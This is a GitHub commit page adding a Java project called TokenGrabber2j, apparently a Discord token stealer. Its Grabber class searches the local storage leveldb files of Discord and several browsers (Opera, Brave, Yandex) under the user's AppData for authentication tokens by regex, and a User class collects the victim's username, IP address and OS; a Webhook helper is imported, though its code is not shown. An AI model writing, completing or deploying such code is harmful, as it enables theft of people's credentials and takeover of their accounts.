-
Notifications
You must be signed in to change notification settings - Fork 3
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
9f661fc
commit df493fa
Showing
5 changed files
with
526 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,12 @@ | ||
<?xml version="1.0" encoding="UTF-8"?> | ||
<module type="JAVA_MODULE" version="4"> | ||
<component name="NewModuleRootManager" inherit-compiler-output="true"> | ||
<exclude-output /> | ||
<content url="file://$MODULE_DIR$"> | ||
<sourceFolder url="file://$MODULE_DIR$/src" isTestSource="false" /> | ||
</content> | ||
<orderEntry type="inheritedJdk" /> | ||
<orderEntry type="sourceFolder" forTests="false" /> | ||
<orderEntry type="library" name="TokenGrabber2j" level="project" /> | ||
</component> | ||
</module> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,83 @@ | ||
package me.Phoenix852.TokenGrabber2j; | ||
|
||
import jdk.nashorn.internal.runtime.regexp.joni.Regex; | ||
import me.Phoenix852.TokenGrabber2j.Utils.Webhook; | ||
|
||
import java.io.*; | ||
import java.lang.reflect.Array; | ||
import java.util.ArrayList; | ||
import java.util.HashMap; | ||
import java.util.Iterator; | ||
import java.util.Scanner; | ||
import java.util.regex.*; | ||
|
||
public class Grabber { | ||
private final String roaming = System.getenv("APPDATA"); | ||
private final String localappdata = System.getenv("LOCALAPPDATA"); | ||
|
||
private final String tokenRegexPattern = "[\\w-]{24}\\.[\\w-]{6}\\.[\\w-]{27}"; | ||
private final String emailRegexPattern = "^((\"[\\w-\\s]+\")|([\\w-]+(?:\\.[\\w-]+)*)|(\"[\\w-\\s]+\")([\\w-]+(?:\\.[\\w-]+)*))(@((?:[\\w-]+\\.)*\\w[\\w-]{0,66})\\.([a-z]{2,6}(?:\\.[a-z]{2})?)$)|(@\\[?((25[0-5]\\.|2[0-4][0-9]\\.|1[0-9]{2}\\.|[0-9]{1,2}\\.))((25[0-5]|2[0-4][0-9]|1[0-9]{2}|[0-9]{1,2})\\.){2}(25[0-5]|2[0-4][0-9]|1[0-9]{2}|[0-9]{1,2})\\]?$)/i"; | ||
|
||
private HashMap<String, String> paths = new HashMap<>(); | ||
|
||
public Grabber() { | ||
paths.put("Discord", roaming + "\\Discord"); | ||
paths.put("Discord Canary", roaming + "\\discordcanary"); | ||
paths.put("Discord PTB", roaming + "\\discordptb"); | ||
/* paths.put("Google Chrome", localappdata + "\\Google\\Chrome\\User Data\\Default"); */ // Comment because adding google chrome bugs idk why, if you know the reason for this bug, please make a fork of this repo, fix it and then make a pull request. | ||
paths.put("Opera", roaming + "\\Opera Software\\Opera Stable"); | ||
paths.put("Brave", localappdata + "\\BraveSoftware\\Brave-Browser\\User Data\\Default"); | ||
paths.put("Yandex", localappdata + "\\Yandex\\YandexBrowser\\User Data\\Default"); | ||
} | ||
|
||
public ArrayList<String> findTokens() { | ||
ArrayList<String> tokens = new ArrayList<String>(); | ||
|
||
for ( | ||
String path : paths.values() | ||
) { | ||
path += "\\Local Storage\\leveldb\\"; | ||
|
||
File folder = new File(path); | ||
|
||
if(folder.exists()) { | ||
|
||
File[] files = folder.listFiles(); | ||
|
||
for(File file:files) { | ||
if(file.isFile()) { | ||
if(file.getName().endsWith(".log") | file.getName().endsWith(".ldb")) { | ||
Scanner scanner = null; | ||
|
||
try { | ||
scanner = new Scanner(new BufferedReader(new FileReader(file))); | ||
} catch (FileNotFoundException e) { | ||
e.printStackTrace(); | ||
} | ||
|
||
String content = ""; | ||
|
||
while(scanner.hasNext()) { | ||
content += scanner.next(); | ||
} | ||
|
||
Pattern p = Pattern.compile(tokenRegexPattern); | ||
Matcher m = p.matcher(content); | ||
|
||
if(m.find()) { | ||
String token = m.group(0); | ||
tokens.add(token); | ||
} | ||
} | ||
} | ||
} | ||
|
||
|
||
} | ||
|
||
} | ||
|
||
return tokens; | ||
} | ||
|
||
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,22 @@ | ||
package me.Phoenix852.TokenGrabber2j.Utils; | ||
|
||
import java.net.InetAddress; | ||
import java.net.UnknownHostException; | ||
|
||
public class User { | ||
|
||
public String getUsername() { | ||
return System.getProperty("user.name"); | ||
} | ||
|
||
public String getIPAddress() throws UnknownHostException { | ||
String IP = InetAddress.getLocalHost().getHostAddress(); | ||
return IP; | ||
} | ||
|
||
public String getOS() { | ||
String os = System.getProperty("os.name"); | ||
return os; | ||
} | ||
|
||
} |
Oops, something went wrong.